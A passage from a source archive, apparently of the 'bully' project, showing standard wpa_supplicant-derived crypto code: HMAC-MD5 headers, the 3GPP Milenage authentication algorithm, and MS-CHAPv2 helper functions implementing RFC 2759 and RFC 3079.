* @key_len: Length of the key in bytes
* @data: Pointers to the data area
* @data_len: Length of the data area
* @mac: Buffer for the hash (16 bytes)
* Returns: 0 on success, -1 on failure
*/
int hmac_md5(const u8 *key, size_t key_len, const u8 *data, size_t data_len,
u8 *mac)
{
return hmac_md5_vector(key, key_len, 1, &data, &data_len, mac);
}
bully-1.4-00/src/crypto/md5.h 0000775 0000000 0000000 00000002165 13615304636 0015705 0 ustar 00root root 0000000 0000000 /*
* MD5 hash implementation and interface functions
* Copyright (c) 2003-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef MD5_H
#define MD5_H
#define MD5_MAC_LEN 16
int hmac_md5_vector(const u8 *key, size_t key_len, size_t num_elem,
const u8 *addr[], const size_t *len, u8 *mac);
int hmac_md5(const u8 *key, size_t key_len, const u8 *data, size_t data_len,
u8 *mac);
#ifdef CONFIG_FIPS
int hmac_md5_vector_non_fips_allow(const u8 *key, size_t key_len,
size_t num_elem, const u8 *addr[],
const size_t *len, u8 *mac);
int hmac_md5_non_fips_allow(const u8 *key, size_t key_len, const u8 *data,
size_t data_len, u8 *mac);
#else /* CONFIG_FIPS */
#define hmac_md5_vector_non_fips_allow hmac_md5_vector
#define hmac_md5_non_fips_allow hmac_md5
#endif /* CONFIG_FIPS */
#endif /* MD5_H */
bully-1.4-00/src/crypto/md5_i.h 0000775 0000000 0000000 00000001337 13615304636 0016215 0 ustar 00root root 0000000 0000000 /*
* MD5 internal definitions
* Copyright (c) 2003-2005, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef MD5_I_H
#define MD5_I_H
struct MD5Context {
u32 buf[4];
u32 bits[2];
u8 in[64];
};
void MD5Init(struct MD5Context *context);
void MD5Update(struct MD5Context *context, unsigned char const *buf,
unsigned len);
void MD5Final(unsigned char digest[16], struct MD5Context *context);
#endif /* MD5_I_H */
bully-1.4-00/src/crypto/milenage.c 0000775 0000000 0000000 00000023307 13615304636 0016775 0 ustar 00root root 0000000 0000000 /*
* 3GPP AKA - Milenage algorithm (3GPP TS 35.205, .206, .207, .208)
* Copyright (c) 2006-2007
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*
* This file implements an example authentication algorithm defined for 3GPP
* AKA. This can be used to implement a simple HLR/AuC into hlr_auc_gw to allow
* EAP-AKA to be tested properly with real USIM cards.
*
* This implementations assumes that the r1..r5 and c1..c5 constants defined in
* TS 35.206 are used, i.e., r1=64, r2=0, r3=32, r4=64, r5=96, c1=00..00,
* c2=00..01, c3=00..02, c4=00..04, c5=00..08. The block cipher is assumed to
* be AES (Rijndael).
*/
#include "includes.h"
#include "common.h"
#include "crypto/aes_wrap.h"
#include "milenage.h"
/**
* milenage_f1 - Milenage f1 and f1* algorithms
* @opc: OPc = 128-bit value derived from OP and K
* @k: K = 128-bit subscriber key
* @_rand: RAND = 128-bit random challenge
* @sqn: SQN = 48-bit sequence number
* @amf: AMF = 16-bit authentication management field
* @mac_a: Buffer for MAC-A = 64-bit network authentication code, or %NULL
* @mac_s: Buffer for MAC-S = 64-bit resync authentication code, or %NULL
* Returns: 0 on success, -1 on failure
*/
int milenage_f1(const u8 *opc, const u8 *k, const u8 *_rand,
const u8 *sqn, const u8 *amf, u8 *mac_a, u8 *mac_s)
{
u8 tmp1[16], tmp2[16], tmp3[16];
int i;
/* tmp1 = TEMP = E_K(RAND XOR OP_C) */
for (i = 0; i < 16; i++)
tmp1[i] = _rand[i] ^ opc[i];
if (aes_128_encrypt_block(k, tmp1, tmp1))
return -1;
/* tmp2 = IN1 = SQN || AMF || SQN || AMF */
os_memcpy(tmp2, sqn, 6);
os_memcpy(tmp2 + 6, amf, 2);
os_memcpy(tmp2 + 8, tmp2, 8);
/* OUT1 = E_K(TEMP XOR rot(IN1 XOR OP_C, r1) XOR c1) XOR OP_C */
/* rotate (tmp2 XOR OP_C) by r1 (= 0x40 = 8 bytes) */
for (i = 0; i < 16; i++)
tmp3[(i + 8) % 16] = tmp2[i] ^ opc[i];
/* XOR with TEMP = E_K(RAND XOR OP_C) */
for (i = 0; i < 16; i++)
tmp3[i] ^= tmp1[i];
/* XOR with c1 (= ..00, i.e., NOP) */
/* f1 || f1* = E_K(tmp3) XOR OP_c */
if (aes_128_encrypt_block(k, tmp3, tmp1))
return -1;
for (i = 0; i < 16; i++)
tmp1[i] ^= opc[i];
if (mac_a)
os_memcpy(mac_a, tmp1, 8); /* f1 */
if (mac_s)
os_memcpy(mac_s, tmp1 + 8, 8); /* f1* */
return 0;
}
/**
* milenage_f2345 - Milenage f2, f3, f4, f5, f5* algorithms
* @opc: OPc = 128-bit value derived from OP and K
* @k: K = 128-bit subscriber key
* @_rand: RAND = 128-bit random challenge
* @res: Buffer for RES = 64-bit signed response (f2), or %NULL
* @ck: Buffer for CK = 128-bit confidentiality key (f3), or %NULL
* @ik: Buffer for IK = 128-bit integrity key (f4), or %NULL
* @ak: Buffer for AK = 48-bit anonymity key (f5), or %NULL
* @akstar: Buffer for AK = 48-bit anonymity key (f5*), or %NULL
* Returns: 0 on success, -1 on failure
*/
int milenage_f2345(const u8 *opc, const u8 *k, const u8 *_rand,
u8 *res, u8 *ck, u8 *ik, u8 *ak, u8 *akstar)
{
u8 tmp1[16], tmp2[16], tmp3[16];
int i;
/* tmp2 = TEMP = E_K(RAND XOR OP_C) */
for (i = 0; i < 16; i++)
tmp1[i] = _rand[i] ^ opc[i];
if (aes_128_encrypt_block(k, tmp1, tmp2))
return -1;
/* OUT2 = E_K(rot(TEMP XOR OP_C, r2) XOR c2) XOR OP_C */
/* OUT3 = E_K(rot(TEMP XOR OP_C, r3) XOR c3) XOR OP_C */
/* OUT4 = E_K(rot(TEMP XOR OP_C, r4) XOR c4) XOR OP_C */
/* OUT5 = E_K(rot(TEMP XOR OP_C, r5) XOR c5) XOR OP_C */
/* f2 and f5 */
/* rotate by r2 (= 0, i.e., NOP) */
for (i = 0; i < 16; i++)
tmp1[i] = tmp2[i] ^ opc[i];
tmp1[15] ^= 1; /* XOR c2 (= ..01) */
/* f5 || f2 = E_K(tmp1) XOR OP_c */
if (aes_128_encrypt_block(k, tmp1, tmp3))
return -1;
for (i = 0; i < 16; i++)
tmp3[i] ^= opc[i];
if (res)
os_memcpy(res, tmp3 + 8, 8); /* f2 */
if (ak)
os_memcpy(ak, tmp3, 6); /* f5 */
/* f3 */
if (ck) {
/* rotate by r3 = 0x20 = 4 bytes */
for (i = 0; i < 16; i++)
tmp1[(i + 12) % 16] = tmp2[i] ^ opc[i];
tmp1[15] ^= 2; /* XOR c3 (= ..02) */
if (aes_128_encrypt_block(k, tmp1, ck))
return -1;
for (i = 0; i < 16; i++)
ck[i] ^= opc[i];
}
/* f4 */
if (ik) {
/* rotate by r4 = 0x40 = 8 bytes */
for (i = 0; i < 16; i++)
tmp1[(i + 8) % 16] = tmp2[i] ^ opc[i];
tmp1[15] ^= 4; /* XOR c4 (= ..04) */
if (aes_128_encrypt_block(k, tmp1, ik))
return -1;
for (i = 0; i < 16; i++)
ik[i] ^= opc[i];
}
/* f5* */
if (akstar) {
/* rotate by r5 = 0x60 = 12 bytes */
for (i = 0; i < 16; i++)
tmp1[(i + 4) % 16] = tmp2[i] ^ opc[i];
tmp1[15] ^= 8; /* XOR c5 (= ..08) */
if (aes_128_encrypt_block(k, tmp1, tmp1))
return -1;
for (i = 0; i < 6; i++)
akstar[i] = tmp1[i] ^ opc[i];
}
return 0;
}
/**
* milenage_generate - Generate AKA AUTN,IK,CK,RES
* @opc: OPc = 128-bit operator variant algorithm configuration field (encr.)
* @amf: AMF = 16-bit authentication management field
* @k: K = 128-bit subscriber key
* @sqn: SQN = 48-bit sequence number
* @_rand: RAND = 128-bit random challenge
* @autn: Buffer for AUTN = 128-bit authentication token
* @ik: Buffer for IK = 128-bit integrity key (f4), or %NULL
* @ck: Buffer for CK = 128-bit confidentiality key (f3), or %NULL
* @res: Buffer for RES = 64-bit signed response (f2), or %NULL
* @res_len: Max length for res; set to used length or 0 on failure
*/
void milenage_generate(const u8 *opc, const u8 *amf, const u8 *k,
const u8 *sqn, const u8 *_rand, u8 *autn, u8 *ik,
u8 *ck, u8 *res, size_t *res_len)
{
int i;
u8 mac_a[8], ak[6];
if (*res_len < 8) {
*res_len = 0;
return;
}
if (milenage_f1(opc, k, _rand, sqn, amf, mac_a, NULL) ||
milenage_f2345(opc, k, _rand, res, ck, ik, ak, NULL)) {
*res_len = 0;
return;
}
*res_len = 8;
/* AUTN = (SQN ^ AK) || AMF || MAC */
for (i = 0; i < 6; i++)
autn[i] = sqn[i] ^ ak[i];
os_memcpy(autn + 6, amf, 2);
os_memcpy(autn + 8, mac_a, 8);
}
/**
* milenage_auts - Milenage AUTS validation
* @opc: OPc = 128-bit operator variant algorithm configuration field (encr.)
* @k: K = 128-bit subscriber key
* @_rand: RAND = 128-bit random challenge
* @auts: AUTS = 112-bit authentication token from client
* @sqn: Buffer for SQN = 48-bit sequence number
* Returns: 0 = success (sqn filled), -1 on failure
*/
int milenage_auts(const u8 *opc, const u8 *k, const u8 *_rand, const u8 *auts,
u8 *sqn)
{
u8 amf[2] = { 0x00, 0x00 }; /* TS 33.102 v7.0.0, 6.3.3 */
u8 ak[6], mac_s[8];
int i;
if (milenage_f2345(opc, k, _rand, NULL, NULL, NULL, NULL, ak))
return -1;
for (i = 0; i < 6; i++)
sqn[i] = auts[i] ^ ak[i];
if (milenage_f1(opc, k, _rand, sqn, amf, NULL, mac_s) ||
memcmp(mac_s, auts + 6, 8) != 0)
return -1;
return 0;
}
/**
* gsm_milenage - Generate GSM-Milenage (3GPP TS 55.205) authentication triplet
* @opc: OPc = 128-bit operator variant algorithm configuration field (encr.)
* @k: K = 128-bit subscriber key
* @_rand: RAND = 128-bit random challenge
* @sres: Buffer for SRES = 32-bit SRES
* @kc: Buffer for Kc = 64-bit Kc
* Returns: 0 on success, -1 on failure
*/
int gsm_milenage(const u8 *opc, const u8 *k, const u8 *_rand, u8 *sres, u8 *kc)
{
u8 res[8], ck[16], ik[16];
int i;
if (milenage_f2345(opc, k, _rand, res, ck, ik, NULL, NULL))
return -1;
for (i = 0; i < 8; i++)
kc[i] = ck[i] ^ ck[i + 8] ^ ik[i] ^ ik[i + 8];
#ifdef GSM_MILENAGE_ALT_SRES
os_memcpy(sres, res, 4);
#else /* GSM_MILENAGE_ALT_SRES */
for (i = 0; i < 4; i++)
sres[i] = res[i] ^ res[i + 4];
#endif /* GSM_MILENAGE_ALT_SRES */
return 0;
}
/**
* milenage_generate - Generate AKA AUTN,IK,CK,RES
* @opc: OPc = 128-bit operator variant algorithm configuration field (encr.)
* @k: K = 128-bit subscriber key
* @sqn: SQN = 48-bit sequence number
* @_rand: RAND = 128-bit random challenge
* @autn: AUTN = 128-bit authentication token
* @ik: Buffer for IK = 128-bit integrity key (f4), or %NULL
* @ck: Buffer for CK = 128-bit confidentiality key (f3), or %NULL
* @res: Buffer for RES = 64-bit signed response (f2), or %NULL
* @res_len: Variable that will be set to RES length
* @auts: 112-bit buffer for AUTS
* Returns: 0 on success, -1 on failure, or -2 on synchronization failure
*/
int milenage_check(const u8 *opc, const u8 *k, const u8 *sqn, const u8 *_rand,
const u8 *autn, u8 *ik, u8 *ck, u8 *res, size_t *res_len,
u8 *auts)
{
int i;
u8 mac_a[8], ak[6], rx_sqn[6];
const u8 *amf;
wpa_hexdump(MSG_DEBUG, "Milenage: AUTN", autn, 16);
wpa_hexdump(MSG_DEBUG, "Milenage: RAND", _rand, 16);
if (milenage_f2345(opc, k, _rand, res, ck, ik, ak, NULL))
return -1;
*res_len = 8;
wpa_hexdump_key(MSG_DEBUG, "Milenage: RES", res, *res_len);
wpa_hexdump_key(MSG_DEBUG, "Milenage: CK", ck, 16);
wpa_hexdump_key(MSG_DEBUG, "Milenage: IK", ik, 16);
wpa_hexdump_key(MSG_DEBUG, "Milenage: AK", ak, 6);
/* AUTN = (SQN ^ AK) || AMF || MAC */
for (i = 0; i < 6; i++)
rx_sqn[i] = autn[i] ^ ak[i];
wpa_hexdump(MSG_DEBUG, "Milenage: SQN", rx_sqn, 6);
if (os_memcmp(rx_sqn, sqn, 6) <= 0) {
u8 auts_amf[2] = { 0x00, 0x00 }; /* TS 33.102 v7.0.0, 6.3.3 */
if (milenage_f2345(opc, k, _rand, NULL, NULL, NULL, NULL, ak))
return -1;
wpa_hexdump_key(MSG_DEBUG, "Milenage: AK*", ak, 6);
for (i = 0; i < 6; i++)
auts[i] = sqn[i] ^ ak[i];
if (milenage_f1(opc, k, _rand, sqn, auts_amf, NULL, auts + 6))
return -1;
wpa_hexdump(MSG_DEBUG, "Milenage: AUTS", auts, 14);
return -2;
}
amf = autn + 6;
wpa_hexdump(MSG_DEBUG, "Milenage: AMF", amf, 2);
if (milenage_f1(opc, k, _rand, rx_sqn, amf, mac_a, NULL))
return -1;
wpa_hexdump(MSG_DEBUG, "Milenage: MAC_A", mac_a, 8);
if (os_memcmp(mac_a, autn + 8, 8) != 0) {
wpa_printf(MSG_DEBUG, "Milenage: MAC mismatch");
wpa_hexdump(MSG_DEBUG, "Milenage: Received MAC_A",
autn + 8, 8);
return -1;
}
return 0;
}
bully-1.4-00/src/crypto/milenage.h 0000775 0000000 0000000 00000002326 13615304636 0017000 0 ustar 00root root 0000000 0000000 /*
* UMTS AKA - Milenage algorithm (3GPP TS 35.205, .206, .207, .208)
* Copyright (c) 2006-2007
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef MILENAGE_H
#define MILENAGE_H
void milenage_generate(const u8 *opc, const u8 *amf, const u8 *k,
const u8 *sqn, const u8 *_rand, u8 *autn, u8 *ik,
u8 *ck, u8 *res, size_t *res_len);
int milenage_auts(const u8 *opc, const u8 *k, const u8 *_rand, const u8 *auts,
u8 *sqn);
int gsm_milenage(const u8 *opc, const u8 *k, const u8 *_rand, u8 *sres,
u8 *kc);
int milenage_check(const u8 *opc, const u8 *k, const u8 *sqn, const u8 *_rand,
const u8 *autn, u8 *ik, u8 *ck, u8 *res, size_t *res_len,
u8 *auts);
int milenage_f1(const u8 *opc, const u8 *k, const u8 *_rand,
const u8 *sqn, const u8 *amf, u8 *mac_a, u8 *mac_s);
int milenage_f2345(const u8 *opc, const u8 *k, const u8 *_rand,
u8 *res, u8 *ck, u8 *ik, u8 *ak, u8 *akstar);
#endif /* MILENAGE_H */
bully-1.4-00/src/crypto/ms_funcs.c 0000775 0000000 0000000 00000035350 13615304636 0017032 0 ustar 00root root 0000000 0000000 /*
* WPA Supplicant / shared MSCHAPV2 helper functions / RFC 2433 / RFC 2759
* Copyright (c) 2004-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "sha1.h"
#include "ms_funcs.h"
#include "crypto.h"
/**
* challenge_hash - ChallengeHash() - RFC 2759, Sect. 8.2
* @peer_challenge: 16-octet PeerChallenge (IN)
* @auth_challenge: 16-octet AuthenticatorChallenge (IN)
* @username: 0-to-256-char UserName (IN)
* @username_len: Length of username
* @challenge: 8-octet Challenge (OUT)
* Returns: 0 on success, -1 on failure
*/
static int challenge_hash(const u8 *peer_challenge, const u8 *auth_challenge,
const u8 *username, size_t username_len,
u8 *challenge)
{
u8 hash[SHA1_MAC_LEN];
const unsigned char *addr[3];
size_t len[3];
addr[0] = peer_challenge;
len[0] = 16;
addr[1] = auth_challenge;
len[1] = 16;
addr[2] = username;
len[2] = username_len;
if (sha1_vector(3, addr, len, hash))
return -1;
os_memcpy(challenge, hash, 8);
return 0;
}
/**
* nt_password_hash - NtPasswordHash() - RFC 2759, Sect. 8.3
* @password: 0-to-256-unicode-char Password (IN; ASCII)
* @password_len: Length of password
* @password_hash: 16-octet PasswordHash (OUT)
* Returns: 0 on success, -1 on failure
*/
int nt_password_hash(const u8 *password, size_t password_len,
u8 *password_hash)
{
u8 buf[512], *pos;
size_t i, len;
if (password_len > 256)
password_len = 256;
/* Convert password into unicode */
for (i = 0; i < password_len; i++) {
buf[2 * i] = password[i];
buf[2 * i + 1] = 0;
}
len = password_len * 2;
pos = buf;
return md4_vector(1, (const u8 **) &pos, &len, password_hash);
}
/**
* hash_nt_password_hash - HashNtPasswordHash() - RFC 2759, Sect. 8.4
* @password_hash: 16-octet PasswordHash (IN)
* @password_hash_hash: 16-octet PasswordHashHash (OUT)
* Returns: 0 on success, -1 on failure
*/
int hash_nt_password_hash(const u8 *password_hash, u8 *password_hash_hash)
{
size_t len = 16;
return md4_vector(1, &password_hash, &len, password_hash_hash);
}
/**
* challenge_response - ChallengeResponse() - RFC 2759, Sect. 8.5
* @challenge: 8-octet Challenge (IN)
* @password_hash: 16-octet PasswordHash (IN)
* @response: 24-octet Response (OUT)
*/
void challenge_response(const u8 *challenge, const u8 *password_hash,
u8 *response)
{
u8 zpwd[7];
des_encrypt(challenge, password_hash, response);
des_encrypt(challenge, password_hash + 7, response + 8);
zpwd[0] = password_hash[14];
zpwd[1] = password_hash[15];
os_memset(zpwd + 2, 0, 5);
des_encrypt(challenge, zpwd, response + 16);
}
/**
* generate_nt_response - GenerateNTResponse() - RFC 2759, Sect. 8.1
* @auth_challenge: 16-octet AuthenticatorChallenge (IN)
* @peer_challenge: 16-octet PeerChallenge (IN)
* @username: 0-to-256-char UserName (IN)
* @username_len: Length of username
* @password: 0-to-256-unicode-char Password (IN; ASCII)
* @password_len: Length of password
* @response: 24-octet Response (OUT)
* Returns: 0 on success, -1 on failure
*/
int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge,
const u8 *username, size_t username_len,
const u8 *password, size_t password_len,
u8 *response)
{
u8 challenge[8];
u8 password_hash[16];
challenge_hash(peer_challenge, auth_challenge, username, username_len,
challenge);
if (nt_password_hash(password, password_len, password_hash))
return -1;
challenge_response(challenge, password_hash, response);
return 0;
}
/**
* generate_nt_response_pwhash - GenerateNTResponse() - RFC 2759, Sect. 8.1
* @auth_challenge: 16-octet AuthenticatorChallenge (IN)
* @peer_challenge: 16-octet PeerChallenge (IN)
* @username: 0-to-256-char UserName (IN)
* @username_len: Length of username
* @password_hash: 16-octet PasswordHash (IN)
* @response: 24-octet Response (OUT)
* Returns: 0 on success, -1 on failure
*/
int generate_nt_response_pwhash(const u8 *auth_challenge,
const u8 *peer_challenge,
const u8 *username, size_t username_len,
const u8 *password_hash,
u8 *response)
{
u8 challenge[8];
if (challenge_hash(peer_challenge, auth_challenge,
username, username_len,
challenge))
return -1;
challenge_response(challenge, password_hash, response);
return 0;
}
/**
* generate_authenticator_response_pwhash - GenerateAuthenticatorResponse() - RFC 2759, Sect. 8.7
* @password_hash: 16-octet PasswordHash (IN)
* @nt_response: 24-octet NT-Response (IN)
* @peer_challenge: 16-octet PeerChallenge (IN)
* @auth_challenge: 16-octet AuthenticatorChallenge (IN)
* @username: 0-to-256-char UserName (IN)
* @username_len: Length of username
* @response: 20-octet AuthenticatorResponse (OUT) (note: this value is usually
* encoded as a 42-octet ASCII string (S=hexdump_of_response)
* Returns: 0 on success, -1 on failure
*/
int generate_authenticator_response_pwhash(
const u8 *password_hash,
const u8 *peer_challenge, const u8 *auth_challenge,
const u8 *username, size_t username_len,
const u8 *nt_response, u8 *response)
{
static const u8 magic1[39] = {
0x4D, 0x61, 0x67, 0x69, 0x63, 0x20, 0x73, 0x65, 0x72, 0x76,
0x65, 0x72, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x6C, 0x69, 0x65,
0x6E, 0x74, 0x20, 0x73, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67,
0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x74
};
static const u8 magic2[41] = {
0x50, 0x61, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x6D, 0x61, 0x6B,
0x65, 0x20, 0x69, 0x74, 0x20, 0x64, 0x6F, 0x20, 0x6D, 0x6F,
0x72, 0x65, 0x20, 0x74, 0x68, 0x61, 0x6E, 0x20, 0x6F, 0x6E,
0x65, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F,
0x6E
};
u8 password_hash_hash[16], challenge[8];
const unsigned char *addr1[3];
const size_t len1[3] = { 16, 24, sizeof(magic1) };
const unsigned char *addr2[3];
const size_t len2[3] = { SHA1_MAC_LEN, 8, sizeof(magic2) };
addr1[0] = password_hash_hash;
addr1[1] = nt_response;
addr1[2] = magic1;
addr2[0] = response;
addr2[1] = challenge;
addr2[2] = magic2;
if (hash_nt_password_hash(password_hash, password_hash_hash))
return -1;
if (sha1_vector(3, addr1, len1, response))
return -1;
challenge_hash(peer_challenge, auth_challenge, username, username_len,
challenge);
return sha1_vector(3, addr2, len2, response);
}
/**
* generate_authenticator_response - GenerateAuthenticatorResponse() - RFC 2759, Sect. 8.7
* @password: 0-to-256-unicode-char Password (IN; ASCII)
* @password_len: Length of password
* @nt_response: 24-octet NT-Response (IN)
* @peer_challenge: 16-octet PeerChallenge (IN)
* @auth_challenge: 16-octet AuthenticatorChallenge (IN)
* @username: 0-to-256-char UserName (IN)
* @username_len: Length of username
* @response: 20-octet AuthenticatorResponse (OUT) (note: this value is usually
* encoded as a 42-octet ASCII string (S=hexdump_of_response)
* Returns: 0 on success, -1 on failure
*/
int generate_authenticator_response(const u8 *password, size_t password_len,
const u8 *peer_challenge,
const u8 *auth_challenge,
const u8 *username, size_t username_len,
const u8 *nt_response, u8 *response)
{
u8 password_hash[16];
if (nt_password_hash(password, password_len, password_hash))
return -1;
return generate_authenticator_response_pwhash(
password_hash, peer_challenge, auth_challenge,
username, username_len, nt_response, response);
}
/**
* nt_challenge_response - NtChallengeResponse() - RFC 2433, Sect. A.5
* @challenge: 8-octet Challenge (IN)
* @password: 0-to-256-unicode-char Password (IN; ASCII)
* @password_len: Length of password
* @response: 24-octet Response (OUT)
* Returns: 0 on success, -1 on failure
*/
int nt_challenge_response(const u8 *challenge, const u8 *password,
size_t password_len, u8 *response)
{
u8 password_hash[16];
if (nt_password_hash(password, password_len, password_hash))
return -1;
challenge_response(challenge, password_hash, response);
return 0;
}
/**
* get_master_key - GetMasterKey() - RFC 3079, Sect. 3.4
* @password_hash_hash: 16-octet PasswordHashHash (IN)
* @nt_response: 24-octet NTResponse (IN)
* @master_key: 16-octet MasterKey (OUT)
* Returns: 0 on success, -1 on failure
*/
int get_master_key(const u8 *password_hash_hash, const u8 *nt_response,
u8 *master_key)
{
static const u8 magic1[27] = {
0x54, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x74,
0x68, 0x65, 0x20, 0x4d, 0x50, 0x50, 0x45, 0x20, 0x4d,
0x61, 0x73, 0x74, 0x65, 0x72, 0x20, 0x4b, 0x65, 0x79
};
const unsigned char *addr[3];
const size_t len[3] = { 16, 24, sizeof(magic1) };
u8 hash[SHA1_MAC_LEN];
addr[0] = password_hash_hash;
addr[1] = nt_response;
addr[2] = magic1;
if (sha1_vector(3, addr, len, hash))
return -1;
os_memcpy(master_key, hash, 16);
return 0;
}
/**
* get_asymetric_start_key - GetAsymetricStartKey() - RFC 3079, Sect. 3.4
* @master_key: 16-octet MasterKey (IN)
* @session_key: 8-to-16 octet SessionKey (OUT)
* @session_key_len: SessionKeyLength (Length of session_key) (IN)
* @is_send: IsSend (IN, BOOLEAN)
* @is_server: IsServer (IN, BOOLEAN)
* Returns: 0 on success, -1 on failure
*/
int get_asymetric_start_key(const u8 *master_key, u8 *session_key,
size_t session_key_len, int is_send,
int is_server)
{
static const u8 magic2[84] = {
0x4f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6c, 0x69,
0x65, 0x6e, 0x74, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2c, 0x20,
0x74, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68,
0x65, 0x20, 0x73, 0x65, 0x6e, 0x64, 0x20, 0x6b, 0x65, 0x79,
0x3b, 0x20, 0x6f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73,
0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x73, 0x69, 0x64, 0x65,
0x2c, 0x20, 0x69, 0x74, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68,
0x65, 0x20, 0x72, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x20,
0x6b, 0x65, 0x79, 0x2e
};
static const u8 magic3[84] = {
0x4f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6c, 0x69,
0x65, 0x6e, 0x74, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2c, 0x20,
0x74, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68,
0x65, 0x20, 0x72, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x20,
0x6b, 0x65, 0x79, 0x3b, 0x20, 0x6f, 0x6e, 0x20, 0x74, 0x68,
0x65, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x73,
0x69, 0x64, 0x65, 0x2c, 0x20, 0x69, 0x74, 0x20, 0x69, 0x73,
0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x6e, 0x64, 0x20,
0x6b, 0x65, 0x79, 0x2e
};
static const u8 shs_pad1[40] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
static const u8 shs_pad2[40] = {
0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2,
0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2,
0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2,
0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2
};
u8 digest[SHA1_MAC_LEN];
const unsigned char *addr[4];
const size_t len[4] = { 16, 40, 84, 40 };
addr[0] = master_key;
addr[1] = shs_pad1;
if (is_send) {
addr[2] = is_server ? magic3 : magic2;
} else {
addr[2] = is_server ? magic2 : magic3;
}
addr[3] = shs_pad2;
if (sha1_vector(4, addr, len, digest))
return -1;
if (session_key_len > SHA1_MAC_LEN)
session_key_len = SHA1_MAC_LEN;
os_memcpy(session_key, digest, session_key_len);
return 0;
}
#define PWBLOCK_LEN 516
/**
* encrypt_pw_block_with_password_hash - EncryptPwBlockWithPasswordHash() - RFC 2759, Sect. 8.10
* @password: 0-to-256-unicode-char Password (IN; ASCII)
* @password_len: Length of password
* @password_hash: 16-octet PasswordHash (IN)
* @pw_block: 516-byte PwBlock (OUT)
* Returns: 0 on success, -1 on failure
*/
int encrypt_pw_block_with_password_hash(
const u8 *password, size_t password_len,
const u8 *password_hash, u8 *pw_block)
{
size_t i, offset;
u8 *pos;
if (password_len > 256)
return -1;
os_memset(pw_block, 0, PWBLOCK_LEN);
offset = (256 - password_len) * 2;
if (os_get_random(pw_block, offset) < 0)
return -1;
for (i = 0; i < password_len; i++)
pw_block[offset + i * 2] = password[i];
/*
* PasswordLength is 4 octets, but since the maximum password length is
* 256, only first two (in little endian byte order) can be non-zero.
*/
pos = &pw_block[2 * 256];
WPA_PUT_LE16(pos, password_len * 2);
rc4_skip(password_hash, 16, 0, pw_block, PWBLOCK_LEN);
return 0;
}
/**
* new_password_encrypted_with_old_nt_password_hash - NewPasswordEncryptedWithOldNtPasswordHash() - RFC 2759, Sect. 8.9
* @new_password: 0-to-256-unicode-char NewPassword (IN; ASCII)
* @new_password_len: Length of new_password
* @old_password: 0-to-256-unicode-char OldPassword (IN; ASCII)
* @old_password_len: Length of old_password
* @encrypted_pw_block: 516-octet EncryptedPwBlock (OUT)
* Returns: 0 on success, -1 on failure
*/
int new_password_encrypted_with_old_nt_password_hash(
const u8 *new_password, size_t new_password_len,
const u8 *old_password, size_t old_password_len,
u8 *encrypted_pw_block)
{
u8 password_hash[16];
if (nt_password_hash(old_password, old_password_len, password_hash))
return -1;
if (encrypt_pw_block_with_password_hash(new_password, new_password_len,
password_hash,
encrypted_pw_block))
return -1;
return 0;
}
/**
* nt_password_hash_encrypted_with_block - NtPasswordHashEncryptedWithBlock() - RFC 2759, Sect 8.13
* @password_hash: 16-octer PasswordHash (IN)
* @block: 16-octet Block (IN)
* @cypher: 16-octer Cypher (OUT)
*/
void nt_password_hash_encrypted_with_block(const u8 *password_hash,
const u8 *block, u8 *cypher)
{
des_encrypt(password_hash, block, cypher);
des_encrypt(password_hash + 8, block + 7, cypher + 8);
}
/**
